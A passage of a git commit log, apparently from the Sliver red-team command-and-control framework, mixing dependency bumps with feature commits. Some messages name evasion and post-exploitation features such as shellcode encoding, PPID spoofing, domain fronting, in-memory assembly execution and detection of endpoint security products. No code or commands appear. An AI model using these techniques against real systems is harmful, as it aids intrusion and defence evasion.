- [Changelog](https://github.com/alecthomas/chroma/blob/master/.goreleaser.yml)
- [Commits](https://github.com/alecthomas/chroma/compare/v0.8.1...v0.10.0)

---
updated-dependencies:
- dependency-name: github.com/alecthomas/chroma
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 17:00:31 +00:00
Joe afe4fb04a3 Merge branch 'master' into 8995dependabot/go_modules/github.com/miekg/dns-1.1.50
Signed-off-by: Joe <[email protected]>
2022-09-06 11:59:31 -05:00
Joe e89a04f747 Merge pull request #846 from BishopFox/0121dependabot/go_modules/github.com/fatih/color-1.13.0
Bump github.com/fatih/color from 1.12.0 to 1.13.0
2022-09-06 11:58:59 -05:00
moloch-- e8aae22d50 Go v1.18.6 2022-09-06 09:58:23 -07:00
dependabot[bot] 003f882be5 Bump github.com/fatih/color from 1.12.0 to 1.13.0
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.12.0 to 1.13.0.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.12.0...v1.13.0)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:25:02 +00:00
dependabot[bot] bb2a56d469 Bump github.com/miekg/dns from 1.1.35 to 1.1.50
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.35 to 1.1.50.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.35...v1.1.50)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:49 +00:00
dependabot[bot] bb36fb6850 Bump actions/download-artifact from 2 to 3
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 2 to 3.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:04 +00:00
dependabot[bot] dd31ae253c Bump actions/upload-artifact from 2 to 3
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 2 to 3.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:02 +00:00
dependabot[bot] 307b1998a1 Bump github/codeql-action from 1 to 2
Bumps [github/codeql-action](https://github.com/github/codeql-action) from 1 to 2.
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/v1...v2)

---
updated-dependencies:
- dependency-name: github/codeql-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:58 +00:00
dependabot[bot] 381e131438 Bump actions/setup-go from 2 to 3
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 2 to 3.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:55 +00:00
dependabot[bot] c9898b9854 Bump actions/checkout from 2 to 3
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:52 +00:00
Ronan Kervella 9dd5dd9c93 Merge pull request #835 from BishopFox/dependabot
Enable dependabot workflow
2022-09-06 08:23:28 -07:00
Joe 01f2d0c9de Merge pull request #836 from cmprmsd/patch-1
Add carbon black cloud sensor
2022-09-06 09:38:22 -05:00
cmprmsd fd1b873f75 Add carbon black cloud sensor
This adds known Carbon Black processes

Signed-off-by: cmprmsd <[email protected]>
2022-09-06 12:16:09 +02:00
moloch-- bb51a9f1a6 Enable dependabot workflow 2022-09-05 11:12:57 -07:00
Ronan Kervella f1d4a51e73 Merge pull request #831 from BishopFox/fix/ux-828
Fix issue #828
2022-09-04 12:56:41 -07:00
Ronan Kervella d003f5a4ac Merge pull request #832 from BishopFox/feature/tasks-cancel
Feature/tasks cancel
2022-09-04 12:56:19 -07:00
moloch-- 36277b9d46 Fix ui workflow 2022-09-04 10:48:51 -07:00
moloch-- c90988aba5 Added state display for canceled 2022-09-04 10:42:16 -07:00
moloch-- a6dca18cdc Initial task cancel implementation 2022-09-04 10:38:26 -07:00
moloch-- dd48b4b71d Fix issue #828 2022-09-04 09:23:49 -07:00
Ronan Kervella 91e6ea5e05 Merge pull request #829 from BishopFox/fix/stale-sessions-prune
Remove session from server state on kill, fix issue #781
2022-09-03 19:05:39 -07:00
Ronan Kervella 3a8201c202 Merge pull request #830 from BishopFox/cdp
Implemented cursed screenshot and better porfwd tunnel cleanup handling
2022-09-03 19:05:17 -07:00
moloch-- 0c5f8a123b Implemented cursed screenshot and better porfwd tunnel cleanup handling 2022-09-03 16:07:35 -07:00
moloch-- 2ea605e915 Remove session from server state on kill, fix issue #781 2022-09-03 15:38:24 -07:00
Ronan Kervella 583edd7a2f Merge pull request #827 from BishopFox/fix/portfwd-815
Fix/portfwd 815
2022-09-03 14:06:34 -07:00
Ronan Kervella e03381994c Merge pull request #826 from BishopFox/cdp
Cursed Edge Support
2022-09-02 17:45:50 -07:00
moloch-- 536ac4dd0f fix issue #815 2022-09-02 16:52:56 -07:00
moloch-- 651941844a removed unused flags 2022-09-02 16:03:52 -07:00
moloch-- 88a5b3a01c cursed support for edge and chromium 2022-09-02 16:03:27 -07:00
Joe 4c67157f48 Merge pull request #825 from BishopFox/stage
Prevent shellcode generation for other platforms than Windows.
2022-09-02 12:28:10 -05:00
rkervella d02c421e9e Prevent shellcode generation for other platforms than Windows. 2022-09-02 09:35:12 -07:00
Ronan Kervella 157b84ee5b Merge pull request #821 from jamesgol/screenshot
Only log screenshot error if there is one
2022-09-01 16:11:18 -07:00
James Golovich b5f25e14ae Only log error if there is one 2022-09-01 15:11:18 -07:00
Joe 4c9f701e0f Merge pull request #820 from BishopFox/cdp
Cursed updates
2022-09-01 15:02:34 -05:00
Ronan Kervella 336068cdf3 Merge pull request #819 from jamesgol/reaction_file
Include reaction file path in output
2022-09-01 12:48:21 -07:00
rkervella 2b9b4eb5f3 Kill cursed process on removal 2022-09-01 11:42:09 -07:00
rkervella e13faf9682 Actually terminate processes :) 2022-09-01 11:33:05 -07:00
James Golovich 044688ace4 Include reaction file path in output 2022-09-01 09:21:22 -07:00
Ronan Kervella 7e633962ce Merge pull request #818 from BishopFox/cdp
Cursed
2022-09-01 08:26:41 -07:00
moloch-- 7911450862 fixes for windows 2022-08-31 22:56:27 -07:00
moloch-- 519ef88866 ux improvements 2022-08-31 22:36:13 -07:00
moloch-- 823e22e120 ux improvements 2022-08-31 22:28:59 -07:00
moloch-- 94d672619b Initial console implementation 2022-08-31 22:02:39 -07:00
moloch-- 29f5a17339 Fixes to electron cmd 2022-08-31 20:35:40 -07:00
moloch-- d71c45223f Implemented electron cmd 2022-08-31 20:21:36 -07:00
moloch-- 2578513ae3 Outlined electron cmd 2022-08-31 19:43:41 -07:00
moloch-- 552a824e1b Refactor and improved state mgmt 2022-08-31 18:43:51 -07:00
moloch-- 5a352de056 Improved state mgmt 2022-08-31 17:43:56 -07:00
moloch-- 33e5525136 Refactor implemented call to ExecuteJS 2022-08-31 16:48:40 -07:00
moloch-- 756bb7749e Merge branch 'master' into cdp 2022-08-31 14:09:52 -07:00
moloch-- 6233d2fbe7 Merge branch 'master' into cdp 2022-08-31 14:09:16 -07:00
Ronan Kervella 729449b653 Merge pull request #814 from BishopFox/fix/db-by-foo
Fix issue #813
2022-08-31 08:33:01 -07:00
moloch-- f1030ebaa4 Added additional checks for uuid.Nil 2022-08-31 07:08:47 -07:00
Joe 7a962ae120 Merge pull request #812 from jamesgol/unknown_dialect
Panic if someone specifies an invalid DB Dialect
2022-08-31 08:57:17 -05:00
moloch-- 39da957b7c Fix issue #813 2022-08-31 06:56:41 -07:00
moloch-- c230ce0b2e Consolidating state into core.CursedProcess 2022-08-31 06:51:15 -07:00
James Golovich 8b44024672 Panic if someone specifies an invalid DB Dialect 2022-08-30 21:35:35 -07:00
moloch-- f8b17891d1 Implemented some of the initial primatives 2022-08-30 17:35:25 -07:00
Joe 4ffb75fa15 Merge pull request #809 from jamesgol/multi-persist
Ensure persistent multiplayer consoles startup
2022-08-30 11:46:50 -05:00
Ronan Kervella f9bc1a7bd3 Merge pull request #810 from BishopFox/moloch---patch-1
Update CODEOWNERS
2022-08-30 09:45:40 -07:00
moloch-- 867ac37f1f Fix issue #811 2022-08-30 07:43:22 -07:00
moloch-- 04a7148ab7 Initial refactor 2022-08-30 07:05:25 -07:00
moloch-- 010025645b Initial refactor 2022-08-30 07:05:03 -07:00
Joe 7a22ed901a Update CODEOWNERS 2022-08-30 08:47:51 -05:00
James Golovich a29135770f Ensure persistent multiplayer consoles startup 2022-08-29 19:36:00 -07:00
moloch-- 8de0eaff13 initial import of some of the overlord code 2022-08-29 16:46:26 -07:00
Joe abde731c35 Merge pull request #808 from BishopFox/fix/registry-type
fix RegistryType off-by-one
2022-08-29 13:52:21 -05:00
Leron Gray 1f7bc9b227 fix RegistryType off-by-one 2022-08-29 11:08:00 -07:00
Ronan Kervella 8617ac9c47 Merge pull request #807 from BishopFox/fix/registry-type
add RegistryType to protobuf
2022-08-29 08:23:38 -07:00
Leron Gray 8aa8095010 add RegistryType to protobuf 2022-08-29 00:55:31 -07:00
Ronan Kervella b621107965 Merge pull request #804 from BishopFox/stage
Add warning for argument overflow
2022-08-26 13:27:14 -07:00
rkervella 04f0d38bd2 Add warning for argument overflow 2022-08-26 12:14:05 -07:00
Ronan Kervella 8ef7f465a4 Merge pull request #803 from BishopFox/in-proc-execute-assembly
In process `execute-assembly`
2022-08-26 11:54:42 -07:00
rkervella 102ee0b533 Merge branch 'master' into in-proc-execute-assembly 2022-08-26 11:06:13 -07:00
rkervella c3cb978ee6 Add debug log 2022-08-26 11:03:26 -07:00
Ronan Kervella 18ddfd2943 Merge pull request #802 from BishopFox/feature/ppid-spoofing
Fix grumble flag (Uint instead of Int)
2022-08-26 11:02:56 -07:00
rkervella 3b3a335c41 Working in-mem execute-assembly 2022-08-26 10:50:59 -07:00
rkervella b64f00a66e Fix grumble flag (Uint instead of Int) 2022-08-26 09:09:51 -07:00
rkervella 6a44f6b435 WIP, doesn't work 2022-08-26 08:26:55 -07:00
rkervella e4db654d62 Add in-proc flag in RPC call 2022-08-25 14:31:47 -07:00
rkervella 1a1924273b Fix undefined vars 2022-08-25 14:31:33 -07:00
Joe c20acb9657 Merge pull request #800 from jamesgol/postgres2
Get sliver working with PostgreSQL
2022-08-25 16:26:24 -05:00
rkervella 3d89716007 Fix implant vendor 2022-08-25 14:24:28 -07:00
rkervella 3351ab0fee Fix implant vendor 2022-08-25 14:24:16 -07:00
rkervella 4c062445ad Add back vendor 2022-08-25 14:16:34 -07:00
rkervella bdb6393842 Add alias support 2022-08-25 14:11:15 -07:00
rkervella 20a4043d7c Add client-side support 2022-08-25 14:09:36 -07:00
rkervella 79d720d477 Add RPC support for in-proc execute-assembly 2022-08-25 14:03:51 -07:00
rkervella 2ec234fd8c update vendor 2022-08-25 13:49:48 -07:00
rkervella 3ab978e754 Update script to work on macos 2022-08-25 13:49:33 -07:00
rkervella 0644a82a2c Add implant support for in-proc execute-assembly 2022-08-25 13:49:10 -07:00
James Golovich d6c41f1713 Reorder models so the dependencies are defined before they are used. 2022-08-25 12:57:05 -07:00
James Golovich 660af1fe60 Setup DSN properly for PostgreSQL 2022-08-25 12:56:32 -07:00
Joe 79f2d48fcd Merge pull request #797 from BishopFox/fix/extensions
Fix race condition in extensions
2022-08-24 15:43:07 -05:00
Joe 166c494894 Merge pull request #796 from BishopFox/sgn
Shikata Ga Nai
2022-08-24 15:04:42 -05:00
rkervella 01121922e9 Add mutex to extension structures 2022-08-24 13:01:15 -07:00
rkervella c1a9702760 Merge branch 'master' into fix/extensions 2022-08-24 12:37:56 -07:00
moloch-- 1be70b3053 Improved standalone cmd help 2022-08-24 11:24:11 -07:00
moloch-- f0405a3beb Integrated sgn with generate shellcode 2022-08-24 11:13:57 -07:00
moloch-- 68e9dcc61c Inegrated sgn into execute-shellcode 2022-08-24 10:56:35 -07:00
moloch-- f75d791d20 Fix input file and rcp func name 2022-08-24 09:44:55 -07:00
moloch-- 223500ed83 Initial integration of sgn 2022-08-24 09:05:01 -07:00
Joe e72cc7dcef Merge pull request #795 from BishopFox/feature/ppid-spoofing
Add PPID spoofing + custom process arguments for fork/exec commands
2022-08-23 14:39:56 -05:00
rkervella 709065a067 Cast to proper message 2022-08-23 11:41:05 -07:00
rkervella 99c23dc226 Only use token when specified 2022-08-23 11:18:43 -07:00
rkervella 8a278ce532 Add PPID spoofing + custom process arguments for fork/exec commands 2022-08-23 11:12:36 -07:00
Ronan Kervella 29755d7109 Merge pull request #792 from MrAle98/fix/namedpipe-pivots
Fix/namedpipe pivots
2022-08-22 08:25:35 -07:00
MrAle98 1d885c6083 fix 2022-08-19 22:49:04 +02:00
MrAle98 f85d0d64d8 fix 2022-08-19 22:49:03 +02:00
MrAle98 28e52e42b4 re-added debug option 2022-08-19 22:49:02 +02:00
MrAle98 8bfba5cb50 added delivery in chunks 2022-08-19 22:49:01 +02:00
Joe 6bb49e444b Merge pull request #787 from BishopFox/feature/stage-encryption
Fix stage encryption and add zlib compression option
2022-08-16 19:59:31 -05:00
moloch-- 205737f768 No compression by default 2022-08-16 17:21:33 -07:00
moloch-- f19c43f07b Added deflate9 compression option 2022-08-16 17:14:10 -07:00
moloch-- 81b8002ac0 Compress prior to encryption 2022-08-16 17:07:55 -07:00
moloch-- c5853a35fc Call the compression function 2022-08-16 17:06:40 -07:00
moloch-- 98f55c8432 Make compression configurable 2022-08-16 17:06:00 -07:00
rkervella 34f60a7b1a Fix stage encryption and add zlib compression option 2022-08-16 15:22:53 -07:00
Joe 9987f377a2 Merge pull request #786 from BishopFox/fix/profiles-beacon-name
Add missing `--name` flag for beacon profiles
2022-08-12 18:29:58 -05:00
rkervella 9852f03ebb Add missing --name flag for beacon profiles 2022-08-11 09:41:26 -07:00
Ronan Kervella ce95f86f38 Merge pull request #784 from BishopFox/fix/donwload
Fix `donwload` for folders in beacon mode
2022-08-10 14:06:47 -07:00
rkervella ae61aa032e Fix download command for folders in beacon mode 2022-08-10 11:34:44 -07:00
Ronan Kervella cec867426f Merge pull request #782 from BishopFox/go/v1.18.5
go version 1.18.5
2022-08-10 08:08:28 -07:00
moloch-- 8479252975 force go version in workflows 2022-08-09 12:04:50 -07:00
moloch-- 4bfb38e52d go version 1.18.5 2022-08-09 11:58:12 -07:00
moloch-- aba4a140c3 add codeowners 2022-08-08 08:31:22 -07:00
Joe df4245c69b Merge pull request #776 from tothi/master
add recognition of SentinelOne security product to the ps cmd
2022-08-01 10:19:45 -05:00
TÓTH István 44578c32ed add recognition of SentinelOne security product to the ps cmd 2022-08-01 13:04:07 +02:00
Joe 07a53b8c75 Merge pull request #773 from tothi/master
windows sideload fix
2022-07-31 22:25:36 -05:00
TÓTH István e08f420606 fix longhelp for sideload 2022-07-31 20:41:10 +02:00
TÓTH István b19cfba921 regenerated protobuf files after adding a new option to sideload cmd 2022-07-31 20:37:27 +02:00
TÓTH István 3b821d19bd add unicode DLL argument passing option for sideload Donut generator 2022-07-31 14:48:29 +02:00
TÓTH István 4e8e254c0e fix DonutShellCodeFromPE call for Windows by passing through EntryPoint parameter 2022-07-31 14:21:07 +02:00
moloch-- d1cf55805a fix spelling mistake 2022-07-29 21:01:21 -07:00
Ronan Kervella 7d07f4c518 Merge pull request #770 from rwhitcroft/feature/psexec-custom-exe
allow custom executables with psexec
2022-07-29 11:08:44 -07:00
Rich Whitcroft 5d3cb883d9 allow custom executables with psexec 2022-07-28 21:41:52 -04:00
Ronan Kervella 29f816ef7e Merge pull request #767 from BishopFox/fix/sideload
Use session agnostic info in Donut call
2022-07-28 08:50:26 -07:00
moloch-- 3ec4c5129c Add example connection string to prelude connect 2022-07-27 15:12:42 -07:00
rkervella 2840e6ed9a Use session agnostic info in Donut call 2022-07-27 14:39:01 -07:00
moloch-- fee6ee8f2d Avoid closing nil tunnel readers #749 2022-07-25 19:36:14 -07:00
moloch-- a1d3cbd0da Add instructions to shell cmd 2022-07-25 19:31:41 -07:00
Joe 4a17490592 Merge pull request #762 from BishopFox/offline-builds
Offline builds
2022-07-25 21:08:07 -05:00
moloch-- e1d7208164 Default to GOPROXY=off 2022-07-25 16:40:05 -07:00
moloch-- 7476a3dbc5 Merge branch 'capnspacehook-easier-offline-implant-builds' into offline-builds 2022-07-25 16:36:20 -07:00
Andrew LeFevre 09a97fbbf4 force implant building tests to run offline, document the need to keep the implant vendor dir updated 2022-07-23 17:27:55 -04:00
Andrew LeFevre 8c8dd280fb create vendor dir for implants and script to update it 2022-07-23 15:31:14 -04:00
Ronan Kervella d94c596a1e Merge pull request #760 from BishopFox/fix/loot-nil-deref
Check for nil pointer before using loot.File
2022-07-22 11:51:17 -07:00
rkervella 57fe465f10 Check for nil pointer before using loot.File 2022-07-22 11:01:10 -07:00
Joe f2da77100f Merge pull request #757 from BishopFox/dependabot/bundler/docs/tzinfo-1.2.10
Bump tzinfo from 1.2.9 to 1.2.10 in /docs
2022-07-22 08:05:21 -05:00
dependabot[bot] 7b5ff4790d Bump tzinfo from 1.2.9 to 1.2.10 in /docs
Bumps [tzinfo](https://github.com/tzinfo/tzinfo) from 1.2.9 to 1.2.10.
- [Release notes](https://github.com/tzinfo/tzinfo/releases)
- [Changelog](https://github.com/tzinfo/tzinfo/blob/master/CHANGES.md)
- [Commits](https://github.com/tzinfo/tzinfo/compare/v1.2.9...v1.2.10)

---
updated-dependencies:
- dependency-name: tzinfo
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-07-22 09:13:08 +00:00
Joe 5292f43cd2 Merge pull request #752 from timwr/fix_751
fix #751, fix ps arch on x86 windows
2022-07-19 14:16:44 -05:00
timwr c4420424af fix #751, fix ps arch on x86 windows 2022-07-19 14:37:33 +07:00
moloch-- b0d6a9ba95 Fix build constraints for windows/arm 2022-07-18 20:06:10 -07:00
Joe c46e193153 Merge pull request #745 from timwr/add_ps_arch
fix #714, Add process Architecture to the ps command
2022-07-18 20:52:00 -05:00
Ronan Kervella 71dff0ff64 Merge pull request #748 from BishopFox/fix/missing-profile-flag
Add missing `name` flag to profiles command
2022-07-18 13:20:47 -07:00
rkervella e1b1132667 Add missing name flag to profiles command 2022-07-18 12:16:58 -07:00
timwr ac262a3620 fix #714, Add process Architecture to the ps command 2022-07-19 00:08:49 +07:00
moloch-- e6277fb55f skip nil tunnel readers 2022-07-17 19:16:16 -07:00
Ronan Kervella f7e8e65126 Merge pull request #744 from BishopFox/feature/vim-mode
Make vim mode configurable via client settings
2022-07-15 13:33:53 -07:00
rkervella afe6c88f83 Make vim mode configurable via client settings 2022-07-15 12:18:07 -07:00
Joe 361a4e5112 Merge pull request #743 from BishopFox/go/v1.18.4
Update to Go v1.18.4 and bump grumble
2022-07-15 12:24:30 -05:00
moloch-- 4e7093671c Update to Go v1.18.4 and bump grumble 2022-07-15 09:44:52 -07:00
Joe 68b129acaa Merge pull request #740 from BishopFox/fix/shell-stderr
Support multiple `io.ReadCloser` in `transports.Tunnel`
2022-07-10 21:48:14 -05:00
rkervella e9d0f23152 Use a ReadCloser slice in transports.Tunnel 2022-07-10 11:00:38 -07:00
Joe 1099a4acb7 Merge pull request #739 from BishopFox/fix/implant-name
Fix regression from #737
2022-07-10 10:48:16 -07:00
rkervella a51c318807 Fix regression from #737 2022-07-10 09:40:09 -07:00
rkervella e7284b5880 Handle stderr for shell command 2022-07-10 09:33:42 -07:00
rkervella 0b9cf0f105 Remove raw data print 2022-07-10 09:26:43 -07:00
rkervella 8350b441ca Remove raw dump of session data 2022-07-10 09:22:04 -07:00
rkervella f5646d9975 Fix flag parsing for implant name 2022-07-10 09:15:49 -07:00
Joe ad312b517a Merge pull request #737 from Marshall-Hallenbeck/master
Allow additional characters in implant, session, and beacon names
2022-07-09 20:31:39 -07:00
Marshall Hallenbeck 253197f21a Allow for _-. characters in session & beacon names; closes #738 2022-07-09 21:24:42 -04:00
Marshall Hallenbeck 31e0ad2967 use actual util AllowedName function in server side check for #735 2022-07-09 21:06:32 -04:00
Marshall Hallenbeck f83007fe19 Allow additional characters in implant names; closes #735 2022-07-09 20:46:02 -04:00
Joe e3e5016ed0 Merge pull request #734 from BishopFox/fix/named-pipe-perms
Fix/named pipe perms
2022-07-07 18:31:52 -07:00
rkervella fb4e05617c Merge branch 'master' into fix/named-pipe-perms 2022-07-07 17:07:22 -07:00
rkervella 5a781500ee Fix [SMB Named Pipe] ACL is too restrictive on pivot named pipe #732 2022-07-07 17:05:34 -07:00
Joe fbef52a72d Merge pull request #731 from RafBishopFox/master
Adding Filtering to the Download Command
2022-07-07 15:25:49 -05:00
RafBishopFox a018ba6a11 client/download: use filepath.Base to prevent directory traversal 2022-07-07 11:18:43 -04:00
RafBishopFox fb38c6e4bb download command: Closing files after adding them to the archive 2022-07-07 10:44:15 -04:00
RafBishopFox c989e2970d Fixing protobuf for backwards compatibility 2022-07-07 10:29:33 -04:00
RafBishopFox d935bfb8b3 Adding filtering to the download command 2022-07-07 09:17:46 -04:00
Joe 814670dc6d Merge pull request #727 from RafBishopFox/master
Moving filtering functionality of ls to the implant
2022-06-23 16:23:48 -05:00
Raf 140c47e163 Merge branch 'BishopFox:master' into master 2022-06-23 12:50:53 -04:00
RafBishopFox e28b062e6c Moving ls filtering fuctionality to the implant, add item count and total size to ls output, resolve symlinks in ls output 2022-06-23 09:57:23 -04:00
moloch-- be7b723c8a Spelling fix 2022-06-21 08:24:22 -07:00
Joe 6be3ff8db2 Merge pull request #725 from BishopFox/fix/tun-handlers-errors
Add error reporting on failure for certain tunnel handlers.
2022-06-21 09:05:17 -05:00
rkervella 20520755b2 Add client side error handling 2022-06-20 20:22:43 -07:00
rkervella 0f7b6c0f35 Report errors on failure for shell and portfwd 2022-06-20 19:57:50 -07:00
Joe 0c7c2e0291 Merge pull request #724 from BishopFox/fix/alias-install-path
Fix alias installation directory for manual installs
2022-06-20 18:45:02 -05:00
rkervella 709a5fa453 Use CommandName as base directory 2022-06-20 15:23:17 -07:00
Joe 5e4ec91914 Merge pull request #722 from BishopFox/fix/execute-assembly
Fix argument parsing in execute-assembly to remove trailing spaces
2022-06-20 13:09:07 -05:00
rkervella a19ec2b348 Fix argument parsing in execute-assembly to remove trailing spaces 2022-06-20 10:24:50 -07:00
rkervella d55c20d7a2 Compare command names instead of extension name 2022-06-17 14:59:57 -07:00
Joe 9118f7423f Merge pull request #716 from BishopFox/fix/netstack-regression
Fix regression: add back IP forwarding for wireguard tunnels.
2022-06-15 09:59:09 -05:00
rkervella c7844f57b3 Fix regression: add back IP forwarding for wireguard tunnels. 2022-06-14 18:30:59 -07:00
Joe 23eef3d15c Merge pull request #706 from BishopFox/go/v1.18.3
Go v1.18.3
2022-06-09 17:40:24 -05:00
moloch-- 22b2704259 Go v1.18.3 2022-06-09 14:20:51 -07:00
Ronan Kervella 856fbb5974 Merge pull request #705 from BishopFox/fix/beacon-download
Fix `download` and `cat` regression
2022-06-09 11:28:04 -07:00
rkervella 6cbfe64f61 Remove commented code 2022-06-09 10:20:13 -07:00
rkervella 573ec4d800 Fix download and cat regression 2022-06-09 10:18:45 -07:00
Joe 11f93ab5b2 Merge pull request #703 from BishopFox/armory/auth
Armory Auth
2022-06-07 21:55:53 -05:00
moloch-- 48a061d59e Merge branch 'master' into armory/auth 2022-06-07 18:55:09 -07:00
Joe 2b7506b393 Merge pull request #702 from r00t0v3rr1d3/r00t0v3rr1d3-domain-fronting
Enable Domain Fronting
2022-06-07 11:40:42 -05:00
Chris Shields 2620758056 Enable Domain Fronting
Allow domain fronting by taking in HTTP C2 Advanced Option "host-header". 

Reference: https://github.com/Ne0nd0g/merlin/commit/4835ac3fa73acd963f578428d1d3e75d5cbb1bab
2022-06-07 11:54:31 -04:00
moloch-- 6262266cac Rename util.Encrypt to PreludeEncrypt 2022-06-06 07:26:25 -07:00
moloch-- 37524596bb Base64 fix to default index parser 2022-06-05 18:25:07 -07:00
moloch-- 91108619f5 Init headers map 2022-06-05 15:50:02 -07:00
moloch-- 7972fce3cc Initial implementation 2022-06-05 15:38:55 -07:00
moloch-- 30c569259d Outline auth support for private armories 2022-06-04 11:51:28 -07:00
Joe 978a66bdb0 Merge pull request #699 from mrThe/packet-shell-socks-improvements
Packet handling, socks and shell improvements
2022-06-04 13:50:11 -05:00
Joe 525eda0d15 Merge pull request #700 from mrThe/beacon-stability
Fix panic on beacon session interactive mode
2022-06-04 13:40:50 -05:00
mr.The 16aa7742ba Fix panic on beacon session interactive mode 2022-06-04 18:26:51 +03:00
mr.The 754aab265e Fix namedpipe build 2022-06-04 18:13:40 +03:00
mr.The 4b2558da0c Fix io reference 2022-06-04 17:00:09 +03:00
mr.The 838db70177 Improve closed connection handling
It's okay not to close channels if it is used for writing. Close tunnels
instead.
2022-06-04 16:27:24 +03:00
mr.The 136b50645e Extract structs from implants session.go 2022-06-04 14:31:32 +03:00
mr.The 1345c5e7d1 Tun-handlers file is a way to big, decided to split into different files 2022-06-04 14:00:49 +03:00
mr.The ffb0b0e795 Improve shell handling
Now shell will be properly closed on failure
2022-06-04 13:27:21 +03:00
mr.The d7e740b50f Improve socks handling 2022-06-03 20:51:41 +03:00
mr.The bb5f42466e Improve packet reading handling
Once we know the packet sice - we need to use ReadFull function to read
the packet to be sure we reading it right
2022-06-02 19:02:52 +03:00
Joe 1d4422b465 Merge pull request #693 from BishopFox/armory/all
Added 'armory install all' option
2022-05-29 17:14:41 -05:00
moloch-- 6dfb64ab3b Added 'armory install all' option 2022-05-29 12:28:43 -07:00
Joe 524bfdb8bb Merge pull request #692 from mrThe/fix-pivots-not-synced
Fix pivots not synced
2022-05-29 11:54:33 -05:00
moloch-- 3451490918 Added lic, updated assets gitgitnore for linux/arm64 2022-05-29 09:43:21 -07:00
Joe dc65bddfbb Merge pull request #691 from mrThe/race-conditions
Race conditions fixes and stability improvements
2022-05-29 11:40:34 -05:00
mr.The ae9fc59fa2 Remove pivot listener once it stoped from the server 2022-05-29 19:16:34 +03:00
mr.The 4c7ae8de7d Fix restarting pivot listeners, so it don't panic 2022-05-29 19:14:49 +03:00
mr.The 8865eebf55 Fix tests for non debug and windows builds 2022-05-29 18:07:45 +03:00
mr.The 56c019345d Socks stability improvements 2022-05-29 16:43:05 +03:00
mr.The 1594a2a0eb Client improved tunnel handling and additional logging 2022-05-29 14:25:02 +03:00
mr.The 675723037d Implant additional debug logs and imroved tunnels handling 2022-05-29 14:23:07 +03:00
mr.The b42c615bcf Portfwd connection handling improvements 2022-05-29 14:20:14 +03:00
mr.The f7633bbb9e Fix race condition on closing tunnels 2022-05-29 14:17:30 +03:00
mr.The 2010b08228 Change mtls reader to io.ReadFull 2022-05-29 14:09:56 +03:00
mr.The d1e97e904c Improve stability for remove shells
Fixed few raceconditions and remove unnecessary code
2022-05-28 18:41:56 +03:00
mr.The 647c8ae875 Improve pivot sessions handling, avoid stucking on implant crash
Before that if we are in shell on pivoted implant and it somewhy dies -
we are stuck forever.
2022-05-28 16:05:11 +03:00
mr.The 797365da62 Add sync.Mutex for rpc-tunnel so it wont race 2022-05-28 14:16:15 +03:00
mr.The 62be36e4ce Tunnels refactoring and datarace fixes
Golang documentation mentioning it's unsafe to concurently send messages
via same tunnel, so there is a mutex and a data copy on write
2022-05-28 14:16:14 +03:00
Joe e6ebee9db6 Merge pull request #690 from BishopFox/fix/yaml
Upgrade yaml dep
2022-05-26 16:23:47 -05:00
moloch-- 9bdb54e023 Upgrade yaml dep 2022-05-26 13:18:09 -07:00
mr.The 50490790f1 Fix datarace on last checkin timestamp 2022-05-26 19:16:01 +03:00
mr.The e16b13c89c Fix datarace on error handling in beacon handler 2022-05-26 19:10:40 +03:00
Ronan Kervella 4339ea52e7 Merge pull request #687 from RafBishopFox/wghealth
Wireguard Session Health Status Fix
2022-05-24 14:42:57 +02:00
Joe f17ed1363f Merge pull request #686 from mrThe/master
Fix panic on x86 beacon startup, fix for #682
2022-05-23 17:43:50 -05:00
Joe ae1dc131d4 Merge pull request #685 from RafBishopFox/master
Beacon Interval Display Changes
2022-05-23 17:43:26 -05:00
RafBishopFox 22a503be9a Wireguard session health status fix 2022-05-23 13:14:27 -04:00
mr.The 1809bef81d Fix panic on x86 beacon startup 2022-05-23 19:31:41 +03:00
RafBishopFox e0a7ddfe17 Calculating beacon check in times server side, beacon interval display change, fix for interval calculation with beacon generation 2022-05-23 10:18:26 -04:00
Joe 65dd874eee Merge pull request #680 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.6
